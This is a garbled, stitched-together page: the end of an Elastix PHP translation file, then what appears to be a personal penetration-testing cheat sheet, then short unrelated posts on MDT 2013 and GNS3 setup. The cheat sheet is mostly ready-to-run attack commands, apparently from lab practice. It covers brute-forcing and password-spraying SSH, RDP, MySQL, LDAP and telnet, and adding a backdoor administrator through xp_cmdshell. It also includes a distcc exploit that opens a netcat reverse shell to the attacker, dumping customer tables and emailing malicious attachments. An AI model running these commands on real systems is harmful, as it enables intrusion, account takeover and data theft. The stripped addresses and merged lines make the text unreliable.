Kennedy Calle E 222 y 9na. Este                          |\n  | Telfs. 2283-268, 2294-440, 2284-356                                  |\n  | Guayaquil - Ecuador                                                  |\n  |                                             |\n  +----------------------------------------------------------------------+\n  | The contents of this file are subject to the General Public License  |\n  | (GPL) Version 2 (the "License"); you may not use this file except in |\n  | compliance with the License. You may obtain a copy of the License at |\n  |                   |\n  |                                                                      |\n  | Software distributed under the License is distributed on an "AS IS"  |\n  | basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See  |\n  | the License for the specific language governing rights and           |\n  | limitations under the License.                                       |\n  +----------------------------------------------------------------------+\n  | The Original Code is: Elastix Open Source.                           |\n  | The Initial Developer of the Original Code is PaloSanto Solutions    |\n  |                                                                      |\n  | Translate by: Bruno Macias                                           |\n  | Email:                                         |\n  +----------------------------------------------------------------------+\n  $Id: en.lang,v 1.7 2008/02/18 09:49:00 bmacias Exp $ */\nglobal $arrLang;\n$arrLang=array(\n/*System Info: Libreria jpgrapha*/\n"Disk usage"=>"Disk usage",\n"Used space"=>"Used space",\n"Free space"=>"Free space",\n"Simultaneous calls, memory and CPU"=>"Simultaneous calls, memory and CPU",\n"Sim. calls"=>"Sim. calls",\n"CPU usage (%)"=>"CPU usage (%)",\n"Mem. usage (MB)"=>"Mem. usage (MB)",\n/*end System Info: Libreria jpgraphap*/\n\n"Start"=>"First",\n"End"=>"Last",\n"Next"=>"Next",\n"Previous"=>"Previous",\n"Export"=>"Export",\n\n"Group" => "Group",\n"administrator" => "Administrator",\n"operator" => "operator",\n"extension" => "Extension",\n\n\n"Group List" => "Group List",\n"User List" => "User List",\n"Logout" => "Logout",\n"Change" => "Change",\n"Title" => "Title",\n"Language"=>"Language",\n"Load Module" => "Load Module",\n\n\n"Required field" => "Required field",\n"Cancel" => "Cancel",\n"Apply changes" => "Apply changes",\n"Save" => "Save",\n"Edit" => "Edit",\n"Delete" => "Delete",\n"Are you sure you wish to continue?" => "Are you sure you wish to continue?",\n"The following fields contain errors" => "The following fields contain errors",\n"Validation Error" => "Validation Error",\n\n\n\n/*Login to Elastix*/\n"Welcome to Elastix"=>"Welcome to Elastix",\n"Please enter your username and password"=>"Please enter your username and password",\n"Username"=>"Username",\n"Password"=>"Password",\n"Submit"=>"Submit",\n"Login page"=>"Login page",\n/*end Login to Elastix*/\n\n/*start menu*/\n"System"=>"System",\n"System Info"=>"System Info",\n"User Management"=>"User Management",\n"Users"=>"Users",\n"Menu Administrator"=>"Menu Administrator",\n"Group Permission" => "Group Permissions",\n/*end menu*/\n\n\n/*version 0.7*/\n/*start paloSantoValidar.class.php*/\n"Options"=>"Options",\n"Empty field"=>"Empty field",\n"Bad Format"=>"Bad Format",\n"No option was selected"=>"No option was selected",\n"Octets out of range" => "Octets out of range",\n/*end paloSantoValidar.class.php*/\n\n/*version 0.8*/\n/*start user*/\n"View User"=>"View User",\n/*end user*/\n\n/*system - date/time*/\n"Date/Time" => "Date/Time",\n/*end system - date/time*/\n\n/*load module*/\n"Choose Menu" => "Choose Menu",\n"ID for new menu" => "ID for new menu",\n"Menu Name" => "Menu Name",\n"Defined Menu" => "Defined Menu",\n"New Menu" => "New Menu",\n"Module sucessfully loaded" => "Module sucessfully loaded",\n"Folder name doesn\'t exist in module file" => "Folder name doesn\'t exist in module file",\n"Folder configs doesn\'t exist in module file" => "Folder configs doesn\'t exist in module file",\n"Folder themes doesn\'t exist in module file" => "Folder themes doesn\'t exist in module file",\n"File index.php doesn\'t exist in module file" => "File index.php doesn\'t exist in module file",\n"File install.php doesn\'t exist in module file" => "File install.php doesn\'t exist in module file",\n/*end load module*/\n\n// Elastix 0.9 \n/*Start SubModule Themes*/\n"Themes" => "Themes",\n"Change Theme" => "Change Theme",\n/*end SubModule Themes*/\n\n/*Module IM*/\n"IM" => "IM",\n"OpenFire" => "OpenFire",\n"The service Openfire No running" => "The Openfire service is not active at this moment. If you want to activate it please ",\n"Webmin" => "Webmin",\n"The service Webmin No running" => "The Webmin service is not active at this moment. If you want to activate it please ",\n\n\n/*vTigerCRM*/\n"vTigerCRM" => "vTigerCRM",\n"The vTiger installation is almost done. To complete it please" => "The vTiger installation is almost done. To complete it please ",\n"click here" => "click here",\n\n/*Sugarcrm*/\n"SugarCRM" => "SugarCRM",\n"The SugarCRM installation is almost done. To complete it please" => "The SugarCRM installation is almost done. To complete it please",\n\n/* Preferences*/\n"Preferences" => "Preferences",\n\n/* Start About Elastix */\n"About Elastix"=>"About Elastix",\n"About Elastix2"=>"About us",\n"HELP"=>"Help",\n"About Elastix Content"=>"Elastix is a reliable and easy-to-use Unified Communications Solution. This web-based open source software has become the solution of choice for implementations of communications over IP around the globe.",\n"About Elastix Closed"=>"Close",\n/* End About Elastix */\n\n"Search" => "Search",\n"Show"   => "Show",\n\'View\' => \'View\',\n\'Status\' => \'Status\',\n\'Type\' => \'Type\',\n\'Active\' => \'Active\',\n\'Filter\' => \'Filter\',\n\'md_message_title\' => \'Dismiss\',\n"ERROR" => "Error",\n"VersionDetails" => "Version",\n"VersionPackage" => "Details of package versions",\n"textMode" => "Text Mode",\n"htmlMode" => "Html Mode",\n"Register" => "Register",\n"Registered" => "Registered",\n"Unauthorized" => "Unauthorized",\n"You are not authorized to access to this page" => "You are not authorized to access to this page",\n"You need administrator privileges" => "You need administrator privileges",\n"Elastix Authentication" => "Elastix Authentication",\n\n/*new*/\n"Please write your current password." => "Please write your current password.",\n"Please write the new password and confirm the new password." => "Please write the new password and confirm the new password.",\n"The new password doesn\'t match with retype new password." => "The new password doesn\'t match with retype new password.",\n"Please your session id does not exist. Refresh the browser and try again." => "Please your session id does not exist. Refresh the browser and try again.",\n"Elastix password has been changed." => "Elastix password has been changed.",\n"Impossible to change your Elastix password." => "Impossible to change your Elastix password.",\n"Impossible to change your Elastix password. User does not exist or password is wrong" => "Impossible to change your Elastix password. User does not exist or password is wrong",\n"Change Elastix Password" => "Change Elastix Password",\n"Current Password" => "Current Password",\n"New Password" => "New Password",\n"Retype New Password" => "Retype New Password",\n"Change" => "Change",\n"Search modules" => "Search modules",\n);\n?>\n' 
/root/anaconda3/envs/pentest/lib/python3.6/site-packages/urllib3/ InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See:   InsecureRequestWarning) 

Hydra Brute Force HTTP-POST Login Pages

Use Hydra or use Sparta interface that utilizes hydra if you want
Details needed: 1. Login Submit buttin post grabbed easily from wireshark or even burpsuite: 

 Note: filter for wireshark http-posts: http.request.method == "POST"       Then follow the tcp or HTTP stream to see the post header and response  2.The final portion of the hydra command should include the text grabbed from the body of the response that is returned in the message 

Hydra Brute Force phpLiteAdmin with password only example

hydra -l “” -P /usr/share/ncrack/minimal.usr -t 1 -v -V http-post-form /db/phpliteadmin.php:”password=^PASS^&remember=yes&login=Log+In&proc_login=true”:”Incorrect password.”



  • The robots.txt files on websites show a dissallow parameter to stop scrapers from going to those pages. This is obviously interesting because why would they not want something discovered?



nmap -oN https.nmap –script ssl-enum-ciphers,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-heartbleed,ssl-known-key,ssl-poodle,sslv2,sslv2-drown –script-args= -d -v -p 443


  • coded creds can be found in ASP login page code
  • default user is normally “sa”


List all nmap ms-sql scripts

ls /usr/share/nmap/scripts/ | grep ms-sql

Single host scan

  • using known DB passwordnmap –script “ms-sql and not ms-sql-brute” “–script-args=mssql.username=sa,mssql.password=password,ms-sql-config.showall=true,ms-sql-tables.maxdb=0,ms-sql-tables.maxtables=0,ms-sql-xp-cmdshell.cmd=ipconfig /all” -d -oN mssql.nmap -Pn -v -sV –version-intensity 9 -T2 -p T:27900,U:1434


  • ms-sql creds needed

Adding a default user to login with

nmap -sV -T2 -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=poiuytrewq,ms-sql-xp-cmdshell.cmd=”net user walter P@ssWORD1234 /add”

nmap -sV -T2 -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=poiuytrewq,ms-sql-xp-cmdshell.cmd=”net localgroup administrators walter /add”


Dumping Tables ms-sql-query

  • first enumerate after getting db admin password and dump the databases to include in this command
  • next dump the discovered tables from the previous nmap commands

nmap -v -sV –version-intensity 9 -T2 -p T:27900,U:1433 –script ms-sql-query –script-args mssql.username=sa,mssql.password=password,mssql.database=bankdb,ms-sql-query.query=”SELECT * FROM tblCustomers”


use this as alinux ms-sql client to perform manual commands Performs the same as nmaps scripts but a good backup  
Login to remote server
sqsh -S -U sa -P <password>
#####Run cmd commands if available 1>
xp_cmdshell 'net user walter backdoor123 /add' 2>
go The command completed successfully. 1>
xp_cmdshell 'net localgroup administrators walter /add' 2>
go the command completed successfully

Exporting DB tables from MS-SQL 2000 GUI

  • open SQL Server Enterprise Manager > Expand the server node > Databases > choose DB > Tables > right click > all taskss and export data > here you can authenticate with sql admin creds or admin your using > click next > in this next screen choose destination as a “text file” and choose the destination to export to > for readability choose fixed with >
  • Look for most recently updated tables as those probably have good info



Single host

nmap -oN mysql.nmap –script mysql-empty-password,mysql-enum,mysql-info,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 –script-args=query=”SELECT host, user FROM mysql.user” -d -sV -T2 -v -p 3306

Listing Nmap Scripts for mysql

ls /usr/share/nmap/scripts/ | grep mysql

SQL Shell Commands

  • user creds are normally found in php files or other web files on the system or via admin comments on web pages

Remote connection to remote SQL DB with user Walter, host, and port specified. Supply creds when prompted

mysql -u Walter -p -h -P 3305

If you have a local shell try this bash script to override for the root account(worth a try)
while [ 1 ];do mysql -u root --password=123; done 
at first logon display the databases to look through
show databases; 
Choose a database
use usersdb   
Show Tables in a database after selecting it
show tables; 
display all contents in a Table
select * from table1; 
select ‘blablabla_text’ into outfile ‘/tmp/blablabla’  
Display a system file’s contents
select load_file('/tmp/blablabla)  

Display all tables in all databases from information schema

SELECT * FROM information_schema.tables;


  • Dumping the users table for a wordpress site
  • “-u” for the username
  • “-p” for the password and might have to come right after without spaces
  • then simply enter the DB to use and the table to dump

mysqldump -u wordpress -p”wordpress12345″ wp wp_users > wp_users.txt

MYSQL Brute Patator

using combo creds list

patator mysql_login host= user=COMBO00 password=COMBO01 0=/root/lab-net2019/combo-creds.txt



  • Single Hostnmap -oN rdp.nmap –script rdp-enum-encryption,rdp-vuln-ms12-020 –script-args= -d -sV -T2 -v -p 3389

Find available rdp nse scripts

ls /usr/share/nmap/scripts/ | grep rdp-

Patator RDP NLA brute

  • combo file used
  • failures will dsplay actual failed login otherwise you might see authentication only etc messages with error but it succeeded actually, you shoudl see “denied” in real fails
  • –rate-limit=N consider using this to delay each test since it might lock us outpatator rdp_login host= user=COMBO00 password=COMBO01 0=./combo.txt -x ignore:fgrep=’denied’


  • rate limit at one thread to avoid major lockouts across a remote network

proxychains patator rdp_login host= user=COMBO00 password=COMBO01 0=/root/lab-net2019/combo-creds.txt –rate-limit=2 –threads=1 -x ignore:fgrep=’denied’ -l rdp_brute

Domain Creds

patator rdp_login host= user=’CONTOSO\Billy’ password=’!PassWord!’

  • Confirmed this works against a domain joined machine, might see a traceback error in patator code at the end but its because it’s done

patator rdp_login host= user=’CONTOSO\COMBO00′ password=’COMBO01′ 0=/root/lab-net2019/combo-creds.txt -x ignore:fgrep=’DENIED’ –rate-limit=2 –threads=1

  • common errors: ERRINFO_SERVER_INSUFFICIENT_PRIVILEGES ACCESS DENIED ; not seeing these means success

Subnet brute with domain creds

  • this ignores “failure” and explicitly “denied” messages failure normalyl happesn probably because its XP where denieds worked to at least attemptpatator rdp_login host=FILE0 user=’CONTOSO\Administrator’ password=’!Winner!’ 0=/root/lab-net2019/rdpopen.txt -x ignore:fgrep=’fail’ -x ignore:fgrep=’DENIED’ –rate-limit=2 –threads=1

  • brute force passwords with lists but no combolists…

Brute a single host using CIDR notation -b rdp -u walter -c P@ssWORD1234 -s -v


  • can also be used to pth(pass the hash) with win8 and win2012

List users

xfreerdp /v: -sec-nla /u:””

Nrack rdp brute

  • Works with socks proxies at least against XP machine RDPs were patator seems to mess up
  • –proxy type://proxy:port: Make connections via socks4, 4a, http.
  • if timed out is 1 it’s because your proxy is overloaded. happened when was running a huge gobuster scan and it said too many ifles on the ssh prompt.
  • if supplying a wordlist it shouldn’t be larger than 50 passwords since it might not properly report back(use the parameters below)
  • probes are the number of tries sent in
  • Brute for user offsec and a password listncrack -vv –user walter -P passwords.txt rdp://

Brute Domain user

ncrack -vvv -g cd=2,CL=1,to=10m –user Administrator@CONTOSO.local -P xac rdp://

Socks4 brute witha password list for user jane

ncrack –proxy socks4:// -vvv -g cd=2,CL=1,to=10m –user jane -P xac.txt rdp://

Socks4 Brute

  • use “–pairwise” to make it like a combo creds list but instead it has to be commma sep formatncrack –proxy socks4:// -vvv -g cd=2,CL=1,to=10m –pairwise –user jane,cory,jake –pass pass1,pass2,pass3 rdp://

Brute with proxychains4

proxychains4 -f /etc/proxychains4.conf ncrack -vv –user jane –pass sosecurepass rdp://



Single Host

nmap -sV –version-intensity 9 –script “*vnc and not \brute*” –script-args= -d -Pn -v -T3 -p 5800,5900

List NSE scripts

ls /usr/share/nmap/scripts/ | grep vnc

xvncviewer client

use this to connect as it is installed by default


Targeted Nmap

nmap -oN smtp.nmap – –script smtp-commands,smtp-enum-users,smtp-ntlm-info,smtp-open-relay,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 –script-args= -d -v -p 25


  • use the various modes ie RCPT TO or VRFY mode to try the usernames with. Same thing can be done manually with Telnet
  • Fix for -T option used to supply list of hosts
  • guessing without a domain attached to the usernamessmtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/cirt-default-usernames.txt -t
  • guessing with domain name ie; user@megabank.comsmtp-user-enum -M RCPT -f -D -U users.txt -t
  • smtp enumeration spray against open port 25 hostssmtp-user-enum -M RCPT -f testuser@thinc.local -D thinc.local -U usernames.txt -T smtp-open.txt


  • if you find users and a way to login with their passwords into an email server ie;’s solidstate machine), then you can download their emails.

Start Thunderbird


add mail clients

  • example you have user mindy discovered on and have her password then add the user with username mindy@ and enter her password and bypass the exception
  • use “get messages” button to download their emails and read for information


  • use this to send emailwith malicious attachments to discovered user addresses
  • -f is your email(can be faked but best use known domain name)
  • -t discovered user email address
  • -u Subject title
  • -m body of message
  • -a attachment
  • -s Mail server IP

Sending an attachement

sendEmail -f -t -u RTF -m “Please Convert this file” -a test2.rtf -s


  • this tool is normally used once i have credentials to a users email
  • Sending attachment with malicious pdf to user using authentication via smtp
  • “-t” is target, “-f” is from aka me, “-xu” is username ot authenticate, “-xp” is password to use, “-s” is server/port default 25, “-u” is subject, “-m” is boxy, “-a” is attachment

sendEmail -t jane@contoso.local -f billy@contoso.local -xu billy@contoso.local -xp P@ssWORD1234 -s -u report -m “my project” -a report.pdf

Telnet SMTP

  • Send commands manually sometimes needed when the tools time out but you verified the server will connect

Check if usernames exist for Sendmail Servers

telnet tophat.acme.local 25

  • this displays if Root exists and will show an email ie; if the mail for tha user is routed thereEXPN root

RCPT method(sendmail servers)

MAIL FROM:test@contoso.local

  • this will output ok if they existRCPT TO:bob@redhat.contoso.local


nmap -oN pop.nmap –script pop3-capabilities,pop3-ntlm-info –script-args= -d -v -p 110

List pop NSE scripts

ls /usr/share/nmap/scripts/ | grep pop


Attacking Java Deserialization


List RMI NSE scripts

ls /usr/share/nmap/scripts/ | grep rmi-


  • verify via msf aux module that there is an RMI vuln, this differed from what Nmap saidmsf auxiliary(gather/java_rmi_registry) > use auxiliary/scanner/misc/java_rmi_server msf auxiliary(scanner/misc/java_rmi_server) > optionsModule options (auxiliary/scanner/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 1099 yes The target port (TCP) THREADS 1 yes The number of concurrent threads msf auxiliary(scanner/misc/java_rmi_server) > set RHOSTS RHOSTS => msf auxiliary(scanner/misc/java_rmi_server) > set RPOT 1100 RPOT => 1100 msf auxiliary(scanner/misc/java_rmi_server) > set RPORT 1100 RPORT => 1100 msf auxiliary(scanner/misc/java_rmi_server) > run[] – Java RMI Endpoint Detected: Class Loader Disabled [] Scanned 1 of 1 hosts (100% complete)

BaRMIe java rmi enum

java -jar ~/extra-tools/BaRMIe_v1.01.jar -enum 1100


Single host

nmap -oN telnet.nmap –script “telnet* and not telnet-brute” –script-args= -d -Pn -v -T2 -p 23

Simply Banner grab


Logging in as a user

  • you will have to supply the password aftertelnet -l james

Brute force telnet(hydra)

  • hydra was the only reliable one to also use across proxychains
  • output shows up in green when it hits
  • “-L” for list of users or “-l” for one user
  • “-P” for list of passwords or “-p” for one password

proxychains hydra -l james -P ../../passwords.txt telnet


grep ssh of greppable nmap output

cat top1000.nmap.gnmap | grep “22/open/” | awk ‘{print $2}’

Run all ssh scripts except for brute force script’

nmap -oN ssh.nmap -sV –script “ssh and not ssh-brute” –script-args= -d -Pn -v -p 22

Using python to download ssh nse scripts and import them to the NSE scripts folder for useIn [43]:

#download nse scripts from and import them to nse directory
#install the "sh" module 
 #These are scripts I needed but feel free to simply use links to scripts you find that are missing from your repo of scripts
ssh_scripts = ['','',                '',''               ] for
dl_link in
ssh_scripts:     if
dl_link'/usr/share/nmap/scripts/')     sh.wget(dl_link)  #

List SSH NSE Scripts

ls /usr/share/nmap/scripts/ | grep ssh

NMAP Brute Force SSH

  • sV switch is needed if the port isn’t normally 22 so it identifies properly
  • if you only have one user just pass a list with that one user

nmap –script ssh-brute –script-args=userdb=/root/HTB/hosts/shocker/user.lst,passdb=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt,brute.emptypass=True -d -v -sV -p 2222

Patator Brute force SSH

  • FILE0 for the password list place holder
  • First use without the ignore message parameter to see what messages patator is getting and then set it to that
  • NET0 can be used for first place holder on a subnet to spray
  • –max-retries only retry 1 or 2 times for efficiency
  • timeout 10 set to ten seconds for efficiency or more to make sure your connecting
  • -l output directory of files
  • “–threads 10” decrease or increase if you see to many errors

Single user many passwords

patator ssh_login host= port=2222 –timeout 30 –threads=20 user=root password=FILE0 0=/root/oscp/lab-net2019/passwords.txt -x ignore:mesg=’Authentication failed.’

SSH Spray single credential

  • launch if you find creds that could be a good candidate against the entire network of open SSH hosts
  • hosts should be in one listed filepatator ssh_login host=FILE0 0=/root/oscp/lab-net2019/ssh-open.nmap port=22 –threads=20 user=bob password=ralphbob7

SSH combo list

patator ssh_login host=FILE0 user=COMBO10 password=COMBO11 0=./ssh-open.nmap 1=./combo-creds.txt

  • ignore failures “xxx” codepatator ssh_login host=FILE0 user=COMBO10 password=COMBO11 0=./ssh-open.nmap 1=./combo-creds.txt –max-retries 0 –timeout 10 -x ignore:fgrep=”Authentication failed.” -x ignore:code=xxx –threads 10

for username as password

  • ignore failures “xxx” codepatator ssh_login host=FILE0 user=FILE1 password=FILE1 0=./ssh-open.nmap 1=usernames.txt –max-retries 0 –timeout 10 –allow-ignore-failures -x ignore:fgrep=”Authentication failed.” -x ignore:code=xxx –threads 10

SSH Private Key Spray

  • spray with user and keyfile against all ssh serverspatator ssh_login keyfile=rsakey.cfg host=FILE0 user=bob 0=/root/oscp/lab-net2019/ssh-open.nmap –max-retries 1 –timeout 10
  • spray keyfile against 1 host and try many users

patator ssh_login keyfile=./f1fb2162a02f0f7c40c210e6167f05ca-16858 host= user=FILE0 0=./users.lst –max-retries 3 –timeout 100

Proxychains and patator

  • works!

proxychains patator ssh_login host= user=COMBO00 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt

proxychains patator ssh_login host= user=carrie password=FILE0 0=/root/oscp/lab-net2019/passwords.txt

Hydra Brute Force SSH

  • -C for colon separated creds list
  • -t for threads to use

Default Creds

  • brute using one of the default creds list in “/usr/share/seclists/Passwords/Default-Credentials/”
  • these have a colon separated scheme to match user/passwords together to tryhydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -t 10 ssh://

SSH Port Forwarding

  • use in cases where your on a victim box and it has a port open only local ie; so to make it available remotely we can port forward to this port from say 3305 with ssh
  • -g means allow clients on the network toconnect not just local clients
  • -N means don’t start a shell just do port forwarding
  • -f means make this a background process
  • doris@localhost is basically the user that will start this session so may need their creds

Local Port forward

ssh -g -L 3305: -f -N doris@localhost

SSH w/Key File

  • Use this command to connect if you have a private key and it’s password as it takes both
  • keep in mind the public key will also have to be in the authorized_keys on the targetssh -i id_rsa takis@


get the community string and search for miB values that can identify software and other configs on vulnerable machines


discover the default community string with attack 
  • nmap -Pn -sU –script=snmp-brute -p 161


Requires a community file with community strings to try (public,private,manager) and a hosts lists 
  • onesixtyone -c community -i snmphost.txt


Great for quick enumeration and details of the remote MIB if community/private stringsi known 
  • snmp-check -w -c public > snmp-check.txt


Install the MIB definitions on Kali

  • snmpwalk will need to have the MIB definitions so you might need to install this package otherwise the output might have missing data. Then comment out the snmp.conf file so the newly installed defeinitions are used during a walk.
    • apt-get install snmp-mibs-downloader download-mibs
    • nano /etc/snmp/snmp.conf #comment out all lines as mentioned in the file itself

Query for all OIDs using version 2c, and a community string of “public” against remote host

snmpwalk -v 2c -c public

Query a remote host for possible user strings in hte MiB us version 2c

snmpwalk -v 2c -c public SNMPv2-MIB::sysOREntry

DNS(T:53 U:53)

  • If you see tcp and udp port 53 open on a server locally or externally it likely is running a dns server
  • Zone transfers to get all dns-ip mappings from a nameserver
  • you must know the domain for which the dns server is master over to pull zone transfers from it


nmap -oA dnsscans –script “dns and not dns-blacklist” –,,domain=bank.htb -d -sV -Pn -vv -sU -sS -p T:53 U:53,5353

Enumerate Subnet for DNS entries against known DNS server

  • dns servers can be captured from compromised host settingsnmap -v -oN network-dns.nmap –dns-servers -sn -T5 | grep -v “host down” > dns.nmap
  • For cleaner outputgrep -i “Nmap scan” dns.nmap | awk ‘{print $5 ” ” $6}’
  • To remove the parenthesis from the output so even bettercat DNS.nmap | tr -d ‘()’
  • to get only the dns namesawk -F”.” ‘{print $1}’ dns.nmap > dnsnamesonly.txt


  • use domains found in http links with NSlookup
  • Curl/grep for all http links through the list of sites i get with gobuster and look for domain names i can use to identify the host DNS server namegrep http sites.txt | xargs -I {} sh -c “curl -s {}| grep -Eo ‘(http|https)://[a-zA-Z0-9./?=_-]*'”
  • Curl using the Header flag and changing the host param(sometimes you will see different results and possibly a hostname identified in script or comment tagscurl -s -H “Host: test” | grep -Eo ‘(http|https)://[a-zA-Z0-9./?=_-]*’


  • use this to probe for the servers hostname



  • quick test of local host
  • reverse lookup
  • test for resolution of the host name to verify bank.htb

Bash one-liner to enumerate subnet from pivot target

for i in $(seq 254); do nslookup 10.1.1.$i |grep -in name; done


  • test for for resolution against entire subnets in case something is therednsrecon -r -n

dnsrecon -r -n

dnsrecon -r -n

dnsrecon -n -d ctfolympus.htb -a


dnsenum <enter domain>


  • do this even if all else fails for some reason nmap and the other tools can’t catch any hints at times

Zone Transfer

  • Against root zonedig axfr @
  • Against domaindig axfr @ ctfolympus.htb

Hosts File/resolv.conf

  • /etc/hosts file is first in name resolution precedence
  • modify firefox setttings so it reads from hosts file properly
  • domain names found via a dig dns transfer could now be used to map to the target IP and find addiotional websites


  • this will resolve any entries in the zone transfer as opposed to just the one we put in our hosts filenano /etc/resolv.conf
  • add: “nameserver” at the top


  • the dns config for proxy chains is in /usr/lib/proxychains3/proxyresolv
  • change the hardcoded address to the nameserver of the internal network your scanning and you can test something like nslookup

Nslookup on internal network for a host

proxychains nslookup

#!/bin/sh # This script is called by proxychains to resolve DNS names # DNS server used to resolve names DNS_SERVER=${PROXYRESOLV_DNS:-} #CHANGE DNS SERVER HERE



nmap -p 88 –script “krb5*” –script-args krb5-enum-users.realm=’active.htb’

Starting Nmap 7.70 ( ) at 2018-12-05 23:00 PST Nmap scan report for Host is up (0.086s latency).  PORT   STATE SERVICE 88/tcp open  kerberos-sec | krb5-enum-users:  | Discovered Kerberos principals |_    administrator@active.htb



nmap -oN ldap.nmap -sV –version-intensity 9 -T2 -p 389 –script “ldap* and not ldap-brute” –script-args=

PORT    STATE SERVICE                                                                                                                               389/tcp open  ldap                                              | ldap-rootdse:                                   | LDAP Results                                    |   <ROOT>
                                       |       currentTime: 20181206070142.0Z            |       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=active,DC=htb |       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=active,DC=htb |       namingContexts: DC=active,DC=htb                    |       namingContexts: CN=Configuration,DC=active,DC=htb                                                                                       |       namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb .....................THERES MORE CUT OUTPUT HERE FOR EXAMPLE ONLY....................b

Enumerate Users using known creds

nmap -p 389 –script ldap-search –script-args ‘ldap.username=”cn=SVC_TGS,cn=users,dc=active,dc=htb”,ldap.password=Password1234, ldap.qfilter=users,ldap.attrib=sAMAccountName’


  • use this without creds for anonymous binding attemptldapsearch -h -p 389 -x -s base -b ” “(objectClass=*)” “*” + | more

  • use this impacket python script to enumerate users and login/email details from a DC

/usr/share/doc/python-impacket/examples/ -all -dc-ip

LDAP Brute Patator

  • Using combo list against LDAP serverpatator ldap_login host= port=389 binddn=’cn=COMBO00,OU=Users’ bindpw=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt


Used to doublecheck this against nmap findings. Can be false positive.  

python -host


  • if this port is open use the following nmap script to find if it is exploitable and if you can execute system commands
  • check for ncat or bash/python to then execute a callback command to your listener

simple check for the vuln and the id command

nmap -p 3632 –script distcc-cve2004-2687 –script-args=”cmd=’id'”

Using ncat call back to our attacking machine

nmap -p 3632 –script distcc-cve2004-2687 –script-args=”cmd=’nc -e /bin/sh 443′”

NFS Shares(various high ports with rpcbind 111)

nmap -sV –script=nfs-showmount

Try mounting anything that shows up

mkdir tyken

mount -t nfs bill


Display nfs mounts on a target

showmount -e

Unknown Ports

use ncat to connect to the port and see if it has a banner or something to explore

* ncat 4559 Ncat: Connected to 220 badwolf server (HylaFAX (tm) Version 4.4.10) ready. hello 500 HELLO: Command not recognized. dir 500 DIR: Command not recognized. faxstat 500 FAXSTAT: Command not recognized. help 214-The following commands are recognized (* =>'s unimplemented).    ABOR    CHMOD   IDLE    JREST   JGPARM* MODE    QUIT    SHUT    SYST     ACCT*   CHOWN   JDELE   JSUBM   JGREST* MDMFMT  RCVFMT  SITE    TZONE     ADMIN   DELE    JINTR   JSUSP   JGRP*   NLST    REIN    SIZE    TYPE     ALLO*   DISABLE JKILL   JWAIT   JGSUBM* NOOP    REST    STAT    USER     ANSWER  ENABLE  JNEW    JGDELE* JGSUSP* PASS    RETP    STOR    VRFY     APPE    HELP    JOB     JGINTR* JGWAIT* PASV    RETR    STOT     CWD     FILEFMT JOBFMT  JGKILL* LIST    PORT    RNFR*   STOU     CDUP    FORM    JPARM   JGNEW   MDTM    PWD     RNTO*   STRU 
UDP connection with ncat(u param) for port 46878
ncat -unv 46878

Port Knocking

  • Method of obfuscation by only openeing a port ie;22 after firt connecting to a series of defined ports ie; 444,555,777. More of a blue team tactic
  • this would then connect to ssh almost like an additional authentication step where it might otherwise seem closed to the attacker

knocking ports to open ssh example using nmap

  • first connect to ssh and before it times out run the port knock script below

ssh ripley@

for x in 3456 8234 62431; do nmap -Pn –scan-delay 0.2 –max-retries 0 -p $x; done


hping3 -S -p 7 -c 1; hping3 -S -p 2366 -c 1; hping3 -S -p 435-c 1

Nmap Technique

  • Quick commands
  • -sC means connect scan
  • -sV means do version dection of port service
  • -oA means ouput to .nmap .gnmap and .xml formats to specified file
  • –top-ports you can specify 100,1000,10000
  • -oN <filename> export to a normal file(like nmaps normal output)
  • -sS syn scan

Initial Scan

nmap -oN scan.nmap -v -sS -sU -T5 –top-ports 1000

nmap -sC -sV -oA fighter

Scan top 10,000 ports

  • avg 134.74 seconds

nmap -oN scan.nmap -v -sS -sV –top-ports 1000

Using Vulners nse script

nmap -oN vulners.nmap -sV –version-intensity 9 –script vulners -p 80

Scan All ports

nmap -p- -T5 -oN all.nmap

Grep open ports

  • need nmap gerppable file

grep -oP ‘\d{1,5}/open’ scan.grep

Awk Open ports and pipe to new NMAP scan

  • -F ” |/” sets the field separator ie; 22/open
  • /open/ on any line that has “open” in it
  • {print $1} print the first field of that line ie; “22” if the line started with 22/open
  • {print \$NF”:”\$4} this would print the last field in the line followed by a colon and then the 4th field
  • ORS=”,” this replaces the newline chars with a comma putting all ports from an nmap scan into one line separated by commas
  • {print substr(\$1, 1, length(\$1)-1)} choose the line “\$1, 1,” and make it’s length the line itself minus one char “length(\$1)-1)}”
  • -I ‘{}’ Finally pipe to xargs with these params to store the line with now comma separated ports and feed into nmap

awk -F” |/” ‘/open/ {print $1}’ ORS=”,” scan.nmap | awk ‘{print substr($1, 1, length($1)-1)}’ | xargs -I ‘{}’ nmap -v -sV –version-intensity 9 –script vulners -p {}

Installing MDT 2013 for a Windows 10 2016 LTSB Deployment






Req: (MDT) 2013 Update 2 (6.3.8330) Version 8443 is needed to support the 1607 build of Win 10 which is used for LTSB 2016


Upgrading: MDT 2012 needs to become MDT2013 (An in place install can be done to upgrade after the ADK version is installed)




Req: ADK for Windows 10


If ADK for Windows 8.1 or older is installed(Uninstall first)


For LTSB 2016 Edition of Win 10 you will need the ADK for that version known as ADK for Version 1607




-use the cmd > set command and at the top it’ll tell you your build compare it to the chart in above link

GNS3 2.0 Remote Server with ESXI and Client Connection

Server Setup

Client Setup



So I’ve finally gotten around to setting up my ESXI server to be able to install GNS3 2.0 server and Client.

The client has an issue with Wireshark installation and so it is installed separately.
see the videos for the detais. Otherwise working nicely.

I will have to install the Cisco IOS images to use and hope fully get some Virtual Security appliances running!


Line Status

